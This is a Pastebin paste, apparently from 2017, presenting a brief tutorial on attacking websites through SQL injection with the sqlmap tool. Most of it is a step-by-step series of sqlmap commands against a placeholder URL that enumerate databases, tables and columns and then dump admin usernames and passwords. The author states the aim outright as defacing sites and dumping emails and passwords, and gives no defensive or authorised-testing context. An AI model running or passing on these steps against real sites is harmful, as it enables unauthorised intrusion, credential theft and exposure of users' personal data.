Advertisement
--DSR--

F: sqlmap by irishsec

May 14th, 2017
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.17 KB | None | 0 0
  1. Author: Irishsec
  2.  
  3.  
  4. ------------------------------------------------------------------------------------------------------------------------
  5.  
  6.  
  7.  
  8. Structured query language injection (SQLI) with sqlmap tutorial.
  9.  
  10. For this all you need is sqlmap which is for both windows and linux operating systems. https://github.com/sqlmapproject/sqlmap
  11.  
  12. open sqlmap from the terminal and navigate to the directory.
  13.  
  14. python sqlmap.py -u website.com/index.php?id=1 --dbs
  15.  
  16. this command will give you the databases and names
  17.  
  18. python sqlmap.py -u website.com/index.php?id=1 -D databasename --tables
  19.  
  20. This command will list all the tables in the database.
  21. These tables will contain information such as usernames passwords and personal information
  22. Look for a table called something of such as "users or admin"
  23.  
  24. python sqlmap.py -u website.com/index.php?id=1 -D databasename -T admin --columns
  25.  
  26. This command ill show the columns within the table
  27.  
  28. python sqlmap.py -u website.com/index.php?id=1 -D databasename -T admin -C username,password --dump
  29.  
  30. This command will give you the username and password for the website and you will be able to deface and dump emails and passwords.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement